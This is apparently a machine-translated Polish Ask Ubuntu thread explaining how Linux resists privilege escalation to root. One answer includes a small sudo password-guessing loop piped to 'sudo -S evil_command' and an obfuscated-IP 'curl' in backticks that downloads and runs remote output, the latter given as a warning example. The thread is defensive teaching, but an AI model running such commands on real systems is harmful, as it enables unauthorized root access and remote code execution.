W jaki sposób system jest bezpieczny?

24

Rozumiem, że jeśli jakiekolwiek złośliwe oprogramowanie przedostanie się do systemu Linux, uzyska co najwyżej uprawnienia na poziomie użytkownika i zniszczy wszystko, co znajduje się w zasięgu konkretnego użytkownika, tj. Własne pliki użytkownika.

Ale co dokładnie powstrzymuje złośliwe oprogramowanie przed dostępem na poziomie root? Czy to nie może złamać hasła od wewnątrz?

Oxwivi
źródło
Świetne pytanie i odpowiedzi!
NlightNFotis

Odpowiedzi:

20

To złożone pytanie. W systemie Ubuntu istnieje wiele różnych warstw zabezpieczeń, od złożonych platform, takich jak AppArmor, po skromne zmienne jądra, takie jak mmap_min_addr. Możesz dodać do miksu niektóre funkcje jądra, takie jak randomizacja pamięci. Możesz znaleźć ich listę wraz z krótkimi objaśnieniami na Wiki Ubuntu .

Innym ważnym czynnikiem jest to, że aktualizacje są szybkie i łatwe - dlatego większość komputerów zostanie zaktualizowana do ostatnich poprawek zabezpieczeń.

O ile mi wiadomo, osoba atakująca, która uzyskała lokalny dostęp do twojego komputera, ma trzy sposoby skalowania uprawnień jądra:

  1. Złam hasło. Ale będzie to naprawdę trudne, hasło jest przechowywane w postaci zaszyfrowanej, przy użyciu algorytmów bez znanej wady. Złamanie go zajmie wieki.

  2. Błąd w jądrze. Ale wszystkie funkcje bezpieczeństwa jądra staną na drodze.

  3. Oszukać użytkownika, aby podać hasło, tj. Socjotechnikę. Po prostu pokaż fałszywe hasło lub skorzystaj z innej sztuczki. To najłatwiejszy sposób na zrobienie tego.

Trzeci punkt to obecnie najsłabsza luka.

Javier Rivera
źródło
5
Pamiętaj, że to „hasło” jest hasłem użytkownika z uprawnieniami sudo-root-root. Konto root jest domyślnie wyłączone. # 3 to rzeczywiście najbardziej możliwa rzecz. Dodatkowo, jeśli instalujesz niezaufane repozytoria, rozdajesz darmowe konta root do tego repozytorium.
Lekensteyn,
@Lekensteyn, co ?! W jaki sposób dodawanie niezaufanych repozytoriów zapewnia dostęp do konta root? Nawiasem mówiąc, możesz chcieć opublikować to jako odpowiedź, chcę, aby ten wątek był rodzajem wiki społeczności.
Oxwivi,
Nie ma żadnych wątków na askubuntu, innych niż procesy serwera. Właśnie opublikowałeś komentarz do odpowiedzi na twoje pytanie . Dodałem odpowiedź z jedzeniem do namysłu.
Lekensteyn,
@Oxwivi Po dodaniu PPA i zainstalowaniu pakietu, pakiet ma skrypty preinst i postinst, które mogą zrobić, co tylko zechcą. Może także zainstalować usługę, aby działała jako root lub bałagan sudoers.
Przywróć Monikę - ζ--
15

Złamanie hasła roota nie jest możliwe, ponieważ Ubuntu domyślnie wyłączył użytkownika root. Jeśli jednak użytkownik może zrootować się przez sudo, a hasło łatwo zgadnąć / użyć siły, masz niezabezpieczony system. Przykładowy skrypt próbujący przetestować hasło:

#!/bin/sh
for pass in password 123 ubuntu pass; do
    echo $pass|sudo -S evil_command
done

Dodanie niezaufanego repozytorium umożliwia zainstalowanie programów z tego repozytorium. Nawet jeśli nie zainstalujesz wyraźnie takiej aplikacji sudo apt-get install [app-from-repo], repozytorium może nadal wpływać na inne programy, sprawiając, że Ubuntu uwierzy, że repozytorium zawiera nowszą wersję określonego programu.

Proces aktualizacji jest uruchamiany jako root, w przeciwnym razie nie można zapisać plików w /usr/binlub /etc. Wyzwalacz instalacyjny jest również uruchamiany jako root i może być uruchamiany dowolnie i ewentualnie szkodliwe polecenia. Nie martw się, konieczne jest ręczne działanie, aby zaktualizować programy, a repozytoria Ubuntu są bezpieczne. Oprogramowaniu o zamkniętym źródle, takim jak Windows, nigdy nie można w pełni zaufać, ponieważ nie można sprawdzić źródła pod kątem złośliwego kodu, ale w razie potrzeby można przejrzeć źródło aplikacji Ubuntu (nie dotyczy programów chronionych prawami autorskimi, takich jak sun-java6lub Flash).

Jak wspomniał Javier Rivera, błędy jądra mogą prowadzić do wykonania dowolnego kodu, ale wadliwe oprogramowanie jest również potencjalnie niebezpieczne, szczególnie błędne setsuidpliki binarne root (pliki binarne, które będą uruchamiane przez właściciela pliku, root) i inne błędne programy działające jako root.

Możesz stworzyć luki bezpieczeństwa w systemie, jeśli nie zwracasz uwagi na to, co robisz. Na przykład, nie w pełni rozumiejąc pojęcia cronjobs, dodałeś cronjob, do /etc/cron.dailyktórego uruchamia się program w twoim folderze domowym (np /bin/sh /home/your-username/myscript.sh. Jeśli plik myscript.sh jest do zapisania, możesz go usunąć, exploit może wprowadzić złośliwe oprogramowanie kod, w myscript.shktórym byłby uruchamiany jako root (eskalacja uprawnień).

Aby zachować bezpieczeństwo, użyj swojego umysłu! Nie uruchamiaj poleceń z niezaufanych źródeł, jeśli nie wiesz, co robi. Jeśli ktoś mówi, że biegnij `curl 3221233674`z tykami, nie rób tego. 3221233674 to inny sposób pisania 192.0.32.10(adres IP example.com). Byłby więc równy:

`curl http://example.com/`

Te znaczniki wsteczne powodują, że dane wyjściowe są wykonywane jako polecenia powłoki. Mówiąc wprost, „Pobierz stronę http://example.com/ i spróbuj uruchomić pobraną stronę”.

Na początku nie zobaczysz czegoś złośliwego w danym poleceniu. Ale teraz wiesz, że można go również nadużywać.

Zawsze sprawdzaj polecenia / skrypty otrzymywane z niezaufanych źródeł, takich jak Internet.

Lekensteyn
źródło
1
Dzięki za odpowiedź, mam nadzieję, że nie przeszkadzały mi moje zmiany. Zwróć uwagę na moje zmiany, aby poprawić swój angielski.
Oxwivi,
2
Nie, nie mam nic przeciwko. Wszelkie ulepszenia są mile widziane :)
Lekensteyn,
Niezależnie od tego, jest to świetny post, należy wspomnieć o wspomnianych punktach!
Oxwivi,